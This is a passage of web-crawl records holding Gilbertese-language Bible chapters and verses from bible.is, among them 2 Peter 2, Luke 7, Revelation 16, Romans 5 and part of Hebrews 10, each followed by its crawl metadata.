te koaua ni Kristian. 3I bukin aroia ni kani bwaibwai ao ane a na karekei aia bwai mai iroumi n taeka n reirei ni kewe. E a kaman tauraoi ma ngkoa i bukiia motikan taekaia ni kabuaakakaaki, ao ae e teimatoa naba n tiku n taningaia te aro are a na kamaunaaki iai. 4Bwa E aki kamaiuiia anera te Atua ake a bure, ma E teweia nako taritaruti ike a kabaeaki iai n taurekereke i nanon te roo bwa a na kaawakinaki iai ni karokoa motikan taekaia. 5E aki kamaiuiia kaain aonnaba ake ngkoangkoa te Atua, ma E ti kamaiua Nooa are te tia tataekina nanon te Atua nakoia aomata, ao itiman riki raona, ngke E karokoa te ieka i aoia kaain te aba ake a buaakaka. 6E motiki-taekaia kaawa ake Totom ma Komora te Atua bwa a na uruaki n te ai, ao E karaoi bwa banna ni kakairi n aron te bwai ae e na riki nakoia aomata aika a iangoia bwa a na aki reitaki ma te Atua ni maiuia. 7E kamaiua Rota ae te aomata ae e raoiroi, are e rawaawata nanona n aroia n tamware aomata aika a buaakaka. 8Ao te aomata ane e raoiroi anne e maeka i buakoia, ao n te bong ae koraki e taonaki maiuna n te rawaawata ae moan te korakora, n nooran ma n ongona n aroia aika a bubuaka. 9Ma ngaia ae te Uea E ataa aroni kamaiuiia man te kariiriiaki, aomata aika a reitaki ma Ngaia, ao te aro ae E na tauia iai akana a buaakaka i aan te karawaawataaki i mwaain te bongi ni motiki-taeka; 10ai moara riki te koraki ake a iri nanon rabwataia ni karaoi mwakuri ni kaibwabwaru aika a kamwaraa, ma n rawa n tauaki aroia: te koraki n ninikoria aika a kainikatonga, aika a aki maaku n taetaebuakaia akana a neboaki. 11Ao anera, aika a korakora riki ma ni mwaaka riki, a aki kabuaakakaia n taetaebuakaia taan reirei ni kewe aikai i matan te Atua. 12Ma te koraki aei, aika kaanga maan aika a aki wanawana, aika a bungiaki bwa a na tauaki ni kamateaki, a taetaebuakai baika a aki atai. A na boni kamateaki n ai aroia maan aika a aki wanawana; 13ao a na kammarakaki bwa booni mwiin te kammaraki are a a tia ni karaoia nakoia temwaangina. Bon te bwai ni kakukurei nakoia karaoan te bwai ae e buaakaka ae a na kukurei iai rabwataia i nanon te ngaina; a buaakaka aroia ma n aki tau ngkai a raoningkami n ami baka n amwarake, ao a maiu nanoia n aroia ni mwaamwanaa te aba. 14Nanoia bon ti te kani wene ni bure ma aine aika a nooriia; a aki konaa n rauaki nanoia ae e kani buubure. A kariiriiia aomata aika a mamaara ni maiuia bwa a na kamwaneiia. Bon iai nanoia aika a kataneiaaki bwa a na kani bwaibwai. A na bon reke kaiia; 15a kiitana te kawai ae e eti, ao a tiotio nako, ao a karaoa are e karaoia Bwaraam are natini Beora, are e tangira boon te mwakuri ae e kaairua are e karaoia; 16ma e boaaki ibukin ana bure. Te aati are e aki konaa n taetae e taetae ni bwanaan te aomata, ao e katoka te buraabeti man ana mwakuri ni baba. 17Boni kaanga mwanibwa aika akea te ran i nanoia te koraki aei, ao kaanga mabubu aika a buti bwa a ukaki n te ang ae e baibati; e kaawakinaki i bukiia nneia n te roo ae e rootongitong. 18Bwa ngke a atongi taeka ni kainikatonga aika a ria nako aika akea manenaia, ao a kamanenaa ni kabatiai kaibwabwarun te rabwata bwa kaanga abeaia ibukini kamwaneaia akana a moanna ni buutaki nako mai buakoia akana a maeka i buakon te buaakaka. 19A tuangiia bwa a na inaomata, ma ngaiia bon ana toro te buaakaka ae e kamaamate: bwa e toronaki te aomata iroun ane e kataenikaiaki irouna. 20Bwa ngkana a a tia ni buutaki nako mani kamwaraani bwain te maiu aei, n ataakin te Uea are te Tia Kamaiu are Iesu Kristo, ao ngkana a manga mangao i buakoia ma n tae aia kai iai, ao n tokiia a buaakaka riki aroia nakon are rimoa. 21Bwa e raoiroi riki irouia ngke a aki ataa te aro are E tangiria te Atua bwa a na maiu iai nakon ae a ataia, ao a rairaki nako man taekan te tua ae e tabu are a anganaki. 22E a kaotaki n te baere e riki nakoia bwa a koaua iai taeka n rabakau aika a kaangai: E a manga okiramumutana te kamea; ao, te beeki ae e a tia n tebokaki, e a manga okira rabinobinona i nanon te bokaboka.\n2 BETERO 2","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/2Pet\/2","date":"2014-07-31T10:01:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1406510272940.33\/warc\/CC-MAIN-20140728011752-00020-ip-10-146-231-18.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":875,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.499,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KOROTE 2:1111N aromi naba n reitaki ma Ngaia ao kam a tia ni koroberoaki, tiaki n te korobero are korean te iriko man te rabwata ni bain te aomata, ma n ana korobero Kristo; Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Col\/2\/11","date":"2014-07-13T04:27:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1404776435941.77\/warc\/CC-MAIN-20140707234035-00067-ip-10-180-212-248.ec2.internal.warc.gz","language":"gil","language_score":0.9999619722,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 0.9999619722366333}","num_words":49,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IOANE 1:5151Ao E taku nakoina, Bon te koaua ni koaua ae I a tuangkami: ane kam na noora karawa bwa e kaukaki, ao ana anera te Atua bwa a rierake ma n ruo rikaki i etan Natin te Aomata. Last Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/John\/1\/51","date":"2014-07-31T10:24:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1406510272940.33\/warc\/CC-MAIN-20140728011752-00076-ip-10-146-231-18.ec2.internal.warc.gz","language":"gil","language_score":0.999943614,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 0.9999436140060425}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.365,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IOANE 1:3939Ao Ngaia E taku, Nako mai nooria. A roko ao a noora te tabo are E maeka iai; a tiku irouna n te bong arei bwa e a bo aua n te tanimaeaontaai. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/John\/1\/39","date":"2014-07-29T10:22:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1406510266894.52\/warc\/CC-MAIN-20140728011746-00022-ip-10-146-231-18.ec2.internal.warc.gz","language":"gil","language_score":0.9995604157,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"gil_Latn_score\": 0.9995604157447815}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.264,"stopwords_ratio":0.347,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke a bane baike E kan taekin Iesu nakoia aomata, ao E nako Kariraia. 2Iai ana toro mataniwiin te taanga ni buaka are tebubua kaaina, ae e tangiraki irouna. E aoraki te toro arei, n te aro are e a kaani mate iai. 3Ngke e ongo te mataniwi arei taekan Iesu, ao e kanakoia aia unimwaane I-Iutaia tabeman bwa a na nako n Iesu, ao a na tuangnga bwa E na roko ni kamaiua ana toro. 4Ngke a roko iroun Iesu, ao a kabane aia buubuti nakoina ni kaangai: Ko bon riai ni buoka te mwaane aei ibukina, 5bwa e tangira ara bootanaomata, ao e katea ara mwaneaba. 6Ao Iesu, E nako ma ngaiia. Ngke E a kaan ma te auti, ao teuare mataniwiin te taanga, e kanakoia raona nakon Iesu, ao a taekin ana taeka nakoina aika kaangai: Te Uea, tai katabeko, bwa I aki tau bwa Ko na rin i aani batau, 7ao I aki tau naba bwa N na nakoim. Ma an taetae naba, ao e a marurung naba au toro. 8Bwa te aomata ngai ae I mena i aaia ake a kakannato riki nakoiu, ao iai tautia aika I mataniwi i aoia: ngkana I kaangai nakon temanna, Naako ao e nako; ao nakon temanna, Nako mai, ao e roko; ao nakon au toro, Karaoa aei, ao e karaoia. 9Ngke E ongo aei Iesu, ao E miimii irouna, ao E rairaki, ao E taku nakoia aomata aika bati ake a iria, I tuangkami bwa akea i buakoia Iteraera ae I kunea bwa iai ana onimaki ae e korakora n ai aron aei. 10Ao uaake a kanakoaki, ngke a okira te auti, ao a noora te toro are e aoraki bwa e a marurung. 11Ao rimwi riki teutana, ao E nako Iesu nakon te kaawa are arana Nain; ao a iria ana reirei, ma aomata aika rangi ni mwaiti. 12Ngke E a kaan ma mataroan oon te kaawa, ao nooria, e a uotaki nakoina te aomata ae e mate ae te rikitemanna iroun tinana, ao neierei e a tia ni mate buuna; a rangi ni mwaiti aomata ake a raona neierei. 13Ngke E noora neierei te Uea, ao E nanoangaia, ao E taku nakoina, Tai tang. 14Ao E kaaniia n riinga te bao are e uotaki iai te mate, ao a tei uaake a uotia. Ao E taku Iesu, Te roronga, I taku nakoim, Tei rake. 15Ao teuare e mate, e tekateka, ao e taetae. Ao Iesu E anga teuarei nakon tinana. 16Ao a bane n rootaki n te maaku; ao a kamoamoaa te Atua ni kaangai: E kaoti te buraabeti ae e kakannato i buakora! Ao, E kawariia ana aomata te Atua. 17Ao e buta aon Iutaia ma taabo ake i rarikina n taekana. 18A taekini baikekei ni kabane ana reirei Ioane nakon Ioane. 19Ao ngaia, e weteiia uoman ana reirei, ao e kanakoia nakon te Uea ma taeka aikai: Ngkoe Teuare e nangi roko, ke ti na kaantaninga riki temanna? 20Ngke a roko iroun Iesu uaakekei, ao a taku, E kanakomaira Ioane are te tia bwaabetiito nakoim ma ana taeka aikai: Ngkoe Teuare e nangi roko, ke ti na kaantaninga temanna? 21N te tai naba arei, ao E kamaiuiia aomata aika mwaiti man aorakiia aika kakaokoro, ao mai irouia anti aika buaakaka; ao E kanooraabaia mataki aika bati. 22Ao E taku Iesu nakoia, Naako tuanga Ioane baika kam a tia n noori ao n ongo: a noora aba mataki, a nakonako mwauku, a kamaiuaki reebera, a uki taningaia taningabono, a manga maiu maate, ao a ongo taekan te euangkerio aomata ake aki kaubwai. 23Ao e a kabwaia ane aki tarai baika I karaoi bwa te kaangaanga nakon ana onimaki. 24Ngke a a tia n nako ana taan ua-rongorongo Ioane, ao E taetae Iesu nakoia aomata ibukin Ioane: Tera are kam nako iai nakon te rereua bwa kam na nooria? Te uteute ae e mwaeiei n te ang? 25Tera ngkanne are kam nako iai bwa kam na nooria? Te aomata ae e kunnikaina n te kunnikai ae e maraurau? Noria, a mena n aia auti ueea aika kuunikaia ni kunnikai aika tikiraoi, ao a amwarake raoi. 26Tera ngkanne are kam kan nako iai bwa kam na nooria? Te buraabeti? Eng, I tuangkami bwa e moamoa riki nakon te buraabeti. 27Bon Ioane are e koreaki taekana ni kaangai: Noria, I kanakoa au tia ua-rongorongo n ri moam, are e na katauraoa kawaim i mwaaim. 28I tuangkami bwa akea i buakoia aomata nako aika tia ni bungiaki ae e kakannato riki nakon Ioane; ma ane moan te mangori n uean te Atua ao boni ngaia ae e kakannato riki nakoina. 29Ngke a ongo aomata ma taan anai taekiti, ao a kariaia bwa E eti te Atua, bwa a a tia ni bwaabetitooaki n ana bwaabetiito Ioane; 30ma Bwaritaio ao rooia a ribaa ana kaantaninga te Atua i bukiia, bwa a tuai ni bwaabetitooaki irouna. 31Tera ae N na konaa ni kabootaua iai aomata aika kaain te roro aei ma ngaia, ao tera kabootau aia? 32Ti te bo ngaiia ma ataei ake a tekateka n te tabo ni mwaakete ao a weweewete temanna nakon temanna ni kaangai: Ti katangitang nakoimi, ao kam aki bwaatere; ti tanginiwenei ao kam aki tang. 33Bwa e roko Ioane are te tia bwaabetiito n aki kangi berena ao na aki mooi wain; ao kam kaangai, Iai irouna te taimonio. 34E roko Natin te aomata ao E amwaamwarake ma ni momooi; ao kam kaangai, Nooria, te Aomata ae e buabeka ao te tia korowaawaa ni mamanging; raraoia taan anai ro-n-rabwata ma aomata aika buaakaka. 35Ma e ngae n anne, ao rabakaun te Atua e a kaotaki bwa e koaua irouia aomata ake a butimwaaia. 36E kaoaki Iesu iroun temanna te Bwaritaio bwa E na amwarake ma ngaia, ao E rin n ana auti te Bwaritaio arei, ao E tekateka bwa E na amwarake. 37Ao nooria, iai ainen te kaawa ikekei ae te tia bure. Ngke e ataia bwa E tekateka n amwarake n ana auti te Bwaritaio, ao e roko ma nnen te bwa ae e karaoaki man te atiibu ae te arabwata. 38E tei i akuun Iesu ibukini waena n tang, ao e kamwaimwaii waena n rannimatana, ao e kaoi n iran atuna, ao e kabooria ma waena, ao e kabiri n te bwa. 39Ao te Bwaritaio are e kaoa Iesu, ngke e noora te baerei, ao e taku i nanona, Ngke arona bwa te buraabeti Teuaei, ao E na kaman ataia bwa antai te aine aei, ae e riingnga, ao arona, bwa te aine ae e buaakaka. 40Ao E taetae Iesu nakoina ni kaangai, Timon, iai te bae I kan taekinna nakoim. Ao ngaia e kaeka ao e taku, Taekinna, te Tia Reirei! 41Uoman aomata aika taarau iroun te aomata temanna: ana taarau temanna nimabubua te tenari, ao are temanna nimabwi. 42Ngke a aki konaa ni kabwarai aia taarau, ao a kamaunaaki aia taarau iroun teuarei. Antai mai buakoia ae e na tangira riki teuarei? 43E kaeka Timon ao e kaangai, I taku bwa teuare e mwaiti riki ana taarau ake a kamaunaaki. Ao E taku Iesu nakoina, E eti am iango. 44E rairaki ngkanne Iesu nakon te aine, ao E taku nakon Timon, Ko noora te aine aei? I rin n am auti, ao akea te ran ae ko anganai bwa tebokani waeu, ma neiei e kamwaimwaii waeu n rannimatana ao e kaoi n iran atuna. 45Ko aki kaota aroni butimwaaeau n te kabooria, ma neiei e aki toki arona ni kaota karineau irouna ni kabooriana ma waeu ma ngke I moa n rin. 46Ko aki kabira atuu n te bwa, ma neiei e kabira waeu n te bwa. 47Ma ngaia ae I tuangko bwa e bati ana tangira ibukina ngkai a kabwaraaki ana bure aika bati; ma ane aki bati ana bure ni kabwaraaki, ao e aki bati ana tangira. 48Ao E taku nakon neierei, A kabwaraaki am bure. 49Ao te koraki ake raon Iesu n amwarake, a taku i nanoia, Antai Teuaei ae e konaa naba ni kabwarai buure? 50Ao E taku Iesu nakon te aine arei, E kamaiuko am onimaki; naako ma te rau.\nRUKA 7","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/7","date":"2014-07-30T21:20:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1406510271654.40\/warc\/CC-MAIN-20140728011751-00090-ip-10-146-231-18.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1355,"character_repetition_ratio":0.044,"word_repetition_ratio":0.003,"special_characters_ratio":0.24,"stopwords_ratio":0.445,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao I ongo te bwanaa ae e korakora man te umwantabu, bwa e kaangai nakoia anera ake itiman, Kam na nako ni kabwaroi i aon te aba kanoani boora ake itiua ake booran unin te Atua. 2Ao e nako te moa n anera, ao e kabwaroa kanoan ana boora i aon te aba; ao e riki iai te kabooa ae e buaakaka ae e kammaraki irouia aomata ake a kanikinaaeaki n ana kanikina te man arei, ao irouia naba ake a taromauriia te bouananti are katootoongana. 3Ao te anera are te kauoman e kabwaroa kanoan ana boora i marawa; ao e riki n raraa marawa, kaanga ai aron raraan te aomata ae e mate; ao a bane ni mate maan ake i marawa. 4Ao te anera are te kateniman e kabwaroa kanoan ana boora i nanoni karaanga ma koburaken raan; ao a riki n raraa raniia. 5Ao I ongo bwanaan aneran raan, bwa e kaangai, Ko eti n am moti ibukini baikai, Ngkoe ae Ko tabu, are iai ngkai ao iai ngkoa. 6Bwa aomata a kaiinakoi raraaia te koraki ake a itiaki ma buraabeti; ao Ko a tia n anganiia te raraa bwa a na mooi iai. A riai n reke kaiia. 7Ao I ongo te bwanaa man te baonikarea, bwa e kaangai, Eng, te Uea ae te Atua, ae Moan te Mwaaka, a koaua am moti ao a eti. 8Ao te anera are te kaaman e kabwaroa kanoan ana boora i aon taai; ao e kariaiakaki bwa e na kabuokiia aomata ni korakoran riringana. 9Ao a bue aomata n te riringa ae e korakora; ao a taetaebuakaa aran te Atua, ae e tauu aroni bwaai ni kamaamate akekei; ao a aki rairi nanoia, n anganna te neboaki. 10Ao te anera are te kaniiman e kabwaroa kanoan ana boora i aon ana kaintokanuea te man arei; ao e riki n roo aon taabo ake e uea iai, ao aomata a tenatenai neweia bwa a kainnano ni maraki; 11ao a taetaebuakaa Atuani karawa ibukini marakiia ma kaboaia; ao a aki rairaki ni kiitan aia mwakuri aika a bubuaka. 12Ao te anera are te kaonoman e kabwaroa kanoan ana boora i nanon te karaanga are e abwaabwaki are te Iuberetiti; ao e oora n akea ranna, bwa e aonga ni katauraoaki kawaiia ueea ake mai mainiku. 13Ao I nooriia taamnei aika teniman aika a kamwaraa aika ai aroia biraoki, bwa a oti nako mai wiin te raakon, ao mai wiin te man arei, ao mai wiin te buraabeti ni kewe arei: 14bon taamneiia taimonio aika a kaakaraoi kanikina; ao a kawariia ueea nako i aonnaba, bwa a na ikotiia nakon te buaka n te Bong are e kakannato are ana bong te Atua ae Moan te Mwaaka. 15Noria, ae N na roko n ai aron te tia ira! E a kabwaia ane e kamarurungnga ni kaawakini kunnikaina, bwa e kaawa n nakonako n akea karabaana ao e maamaa ngkana e nooraki. 16Ao a ikotiia ueea nako n te tabo ae e aranaki n te taetae n Ebera bwa Aremwaketon. 17Ao te anera are te kaitiman e kabwaroa kanoan ana boora i aon te ang; ao e nako te bwanaa man te baonikarea are n te umwantabu, ao e kaangai, E a tia! 18Ao e itiiti, ao e rebwetata ma n rurungaa te ba, ao e riki te mwaeiei ae e korakora i aon te aba, ae te mwaeiei ae akea n ai arona ma ngke e moani mena te aomata i aonnaba: boni moan te korakora te mwaeiei aei. 19E tabwena te kaawa are e abwaabwaki nakoni mwakoro aika teniua, ao a bane n urubekebeke taiani kaawa nako n aaba nako: ao te Atua E aki mwaninga taekani Bwaburon are e kakannato, ma ngaia are E anganna mwangkoni wain n unna bwa e na mooi iai. 20Ao a bane abamwakoro ni biri nako, ao a aki manga nooraki maunga. 21Ao aomata a bwakaraki mai karawa n te karau ae e matoatoa, ae taian aiti aika a bubuubura, aika tao kaka tebubua te rawaawata rawaawataia ke e raka riki; ao a taetaebuakaa te Atua ibukin te karau n aiti are e kamaamate; bwa e bon rangi ni kamaamate.\nTE KAOTIOTI 16","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/16","date":"2014-07-10T20:04:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1404776421879.69\/warc\/CC-MAIN-20140707234021-00036-ip-10-180-212-248.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":697,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.479,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia aei, ngkai a kaetaki arora n reitaki ma te Atua n te onimaki, ao e a reke iroura te raoi ma te Atua iroun ara Uea are Iesu Kristo; 2are E a tia ni karekea angara n te onimaki bwa ti na roko i nanon te aakoaki aei, ae ti mena iai ngkai; ao ti kakatonga ni kaantaningaan te neboaki ma te Atua. 3Ao tiaki ti aei, ma ti kakatonga n taian rawaawata aika ti taonaki iai, ngkai ti ataa te rawaawata bwa e karika taotaonan te nano; 4ao taotaonan te nano boni ngaia ae e kaotira bwa ti tokanikai i aon te kataaki, ao te kataaki e karika te kaantaninga; 5ao te kaantaninga e aki kamaamaea te aba, ibukina bwa e a tia ana tangira te Atua n nurakinaki nako nanora iroun te Taamnei are e Raoiroi, are ti a tia n anganaki. 6Bwa ngke ai bon akea te bae ti kona, ao E mate Kristo n taina are e baaireaki i bukira ao i bukiia naba akana buaakaka. 7Bwa e kaangaanga ae e na mate temanna ibukin te aomata ae e kakaonimaki n ira nanon te tua; ma tao e a konaa ni mate ibukin te aomata ae e raoiroi. 8Ma te Atua, E kaota oin ana tangira nakoira n aei: bwa ngke bon taani bure ngaira, ao E mate Kristo i bukira. 9Ma ngaia aei, ngkai a a tia ni kaetaki arora n reitaki ma te Atua ni mateni Kristo, ao ti na kamaiuaki irouna man te reke ni kai ae e na roko. 10Bwa ngke bon ana kairiribai te Atua ngaira, ao ti raoiakinaki ma te Atua ni maten Natina; ao ai bati ra riki ngkai arora ni kamaiuaki ni maiura, ngkai ti a tia n raoiakinaki! 11Ao tiaki ti ngaia, ma ti kakatonga iroun te Atua i nanon ara Uea are Iesu Kristo, are ti karekea mai irouna raoiakinara ngkai. 12Ma ngaia aei, bwa ngkai e roko te bure i aon te aba iroun te aomata ae ti temanna, 13bwa bon iai te bure i aon te aba i mwaain rokon te Tua, ma e aki atongaki bwa te bure ngkana akea te tua. 14Ma e uea te mate mai iroun Atam ni karokoa Mote, ao i aoia naba te koraki ake a bure, e boni ngae ngke e kaokoro aron aia bure ma ana bure Atam, ngke e aki ongeaaba nakon te tua. E reke iroun Atam bannan aron Teuare e nangi roko. 15Ma te aki-ongeaaba nakon te tua bon tiaki ti te bo arona ma te bwai n tituaraoi. Bwa ngkai a bati aika a mate ibukin ana aki-ongeaaba temanna nakon te tua, ao e a mwaiti riki ana aakoi te Atua ma te bwai n tituaraoi are e reke n ana aakoi te Aomata ae ti temanna are Iesu Kristo, nakoia ake a bati. 16Ao iai te kaokoro i marenan te bwai n tituaraoi ma ana bure te aomata ae temanna: bwa i mwiin te bure ae teuana ao e roko te moti ni kabuaakaka; ma i mwiini buure aika a bati ao e roko te bwai n tituaraoi are motikan taekam bwa ko aki bure. 17Ma ngke e uea te mate iroun ae ti temanna ibukin ana bure, ao ai moa ra riki bwa aomata aika a anganaki te aakoaki ae e bati ma te bwai n tituaraoi are kaetan aroia n reitaki ma te Atua, a na korakora n aroia nako iroun ti temanna are Iesu Kristo. 18Ma ngaia aei, ngkai a kabuaakakaaki aomata ni kabaneia ibukin te bure ae ti teuana, ao ai arona naba, bwa a na bane aomata nako ni kainaomataaki ma n anganaki te maiu n te mwakuri ae e raoiroi ae ti teuana. 19Bwa aroia aomata aika a bati ngke a riki n atongaki bwa taani bure n ana aki-ongeaaba te aomata ae ti temanna, ao ai aroia naba aomata aika a bati bwa a na kaetaki aroia n reitaki ma te Atua n ana ongeaaba te aomata ae ti temanna. 20Ma e roko te Tua bwa e aonga ni mwaiti te bure; ma ike e mwaiti iai te bure, ao e a manga mwaiti riki iai te akoi. 21Bwa aron te bure ngke e nooraki arona n uea n te mate, ao ai arona naba bwa e na uea te aakoi ni kaetan arora n reitaki ma te Atua, ao ni kairiira naba nakon te maiu are e aki toki iroun Iesu Kristo are ara Uea. Ao te bure e karokoa te mate, ao a bane n rootaki aomata ni kabaneia n te mate ibukina bwa a bane ni bure.\nROM 5","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5","date":"2014-07-23T03:56:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1405997873839.53\/warc\/CC-MAIN-20140722025753-00023-ip-10-33-131-23.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":769,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.485,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"9Ma ti noora Iesu, are e karaoaki ni karinanoaki riki nakoia anera i nanon te tai ae e aki maan, bwa E aonga ni mate i bukiia aomata ni kabaneia; ao e riki aei man nanon te Atua n akoi. Ti nooria ngkai bwa E a baunaki n te neboaki ma te karineaki ibukin arona ni maraki ma ni mate.\nEBERA 2:9\nFREE!\nOne App.\n1536 Languages.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/2\/9","date":"2014-08-01T14:54:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1406510274987.43\/warc\/CC-MAIN-20140728011754-00266-ip-10-146-231-18.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":65,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.462,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Bwa iai n te Tua nuni baika a raraoi aika a na roko, ma nu aikai bon tiaki katootoongan ni koaua baika a raraoi; ao te Tua e bon aki konaa ni kakororaoa kaitiakaia akana a kaania te Atua ma karea aika ti te arona aika a angaanga n te ririki ae koraki n aki toki. 2Bwa ngke tao e kona, ao tiaki e toki te aba n angaanga karea akanne? Bwa ngke a kaitiakaki taan taromauri man aia bure, ao akea namakinani mwiin te bure irouia. 3Ma bon iai manga uringani buure n te ririki ae koraki ni karea akanne. 4Bwa a bon aki konaa ni kamaunaaki buure n raraaia kao-mwaane ma kooti. 5Ma ngaia aei, ngke E nangi roko Kristo i aon te aba, ao E kaangai nakon te Atua, Ko aki tangira te karea ma te bwai n tangira, ma Ko anganai rabwatau. 6Ko aki kukurei ni karea aika a kabaneaki ni kabuokaki ma karea ni kabwaraa buure. 7Ao I taku, Noria, I a roko bwa N na toua mwiin am taeka, te Atua, n ai aron ae e koreaki bwa taekau ni bokin te Tua. 8Bwa E kaangai moa, Ko aki tangiri ke ni kukurei n taiani karea ma bwaai n tangira, ma karea aika a kabaneaki ni kabuokaki ma karea ni kabwaraa buure. E taekina aei e boni ngae ngke karea aikai a kareanaki n aron taekaia n te Tua. 9Ao i mwiina E taku Kristo, Noria, I a roko bwa N na toua mwiin Am taeka. Nanona ngkanne bwa E kaaki are te aro n angakarea nikawai, ao E onea mwiina n te aro n angakarea ae e boou; 10ae ngaia ae a katabuaki iai maiura nakon te Atua bwa ana bwai, ngke E anga rabwatana Iesu Kristo n ai aron nanon te Atua bwa te karea n te tai ae ti teuana ao akea riki. 11Ao a bane ibonga n tei n te bong ae koraki ni karaoi nakoaia ma n okioki n anga karea aika ai uaia nako naba, aika a bon aki konaa ni kamaunai buure. 12Ao ngke E a tia Kristo n anga te karea ae ti teuana ibukini buure, ae manena n aki toki, ao E tekateka i angaatain te Atua; 13ao E na tiku ikekei ni kaantaninga te tai are a na kaakiaki iai ana kairiribai bwa nneni katokaani waena. 14Bwa n te karea ae ti teuana, ao E karaoiia iai aika a tia ni kaitiakaki man aia bure bwa a na moa n raoiroi n aki toki. 15Ao E kaotioti naba te Taamnei are e Raoiroi n aei nakoira; bwa ngke E a tia ni kaangai, 16Aio te booraraoi ae N na karaoia ma ngaiia i mwiini boong akekei, bon ana taeka te Uea; N a karin au tua i nanoia, ao N na koroi i nanoia; 17ao E a manga kaangai, Ao N na aki manga uring aia bure ma aia buaakaka. 18Ngkana a a tia baikai ni kabwaraaki, ao bon akea kainnanoan te angakarea ibukini kabwaraani buure. 19Ma ngaia aei, taari, ngkai iai iroura te aki-maku n rin n te tabo are moanibaan te tabu ni maten Iesu, 20n te kawai ae e boou ae e maiu, ae E a tia ni kaukia i bukira, ae te kawai n ri nanon te roki te kunnikai—ae e nanonaki iai arona ngke E anga boni Ngaia bwa te karea; 21ao ngkai iai ara Ibonga ae e Kakannato ae E mataniwi n ana auti te Atua; 22ao ti na kaania te Atua ma nanora ni koaua ao n ataakin raoi te onimaki, ngkai a a tia ni kaitiakaki nanora man namakinani mwiin te bure are ti taonaki iai, ao a a tia rabwatara n tebokaki n te ran ae itiaki. 23Ao ti na taua ni kamatoaa te kaantaninga are ti kaotiotia ma te aki nanokokoraki; bwa E kakaonimaki Teuare E atonga te taeka n akoi. 24Ti na iangoa aron temanna ma temanna iroura ni buokira bwa ti na kaota te tangira ni maiura, ao bwa ti na karaoi mwakuri aika a raraoi. 25Ao ti na tai kaaki arora ni bobootaki, n ai aroia tebemwang; ma ti na bwaina te aro ni kauunga ni kabatiaa riki, ngkai kam ataia bwa e a kaan roko te Bong arei. 26Bwa ngkana ti boni kani kateimatoaa arora ni karaoa te bure i mwiin reken ataakin te koaua iroura, ao bon akea riki i bukira te karea teuana ibukini buure; 27ma ti te tiku ma te maaku n tataningaa rokon te motiki-taeka ma te ai ae e ura-mwaaka, ae e na kamaunaia ana 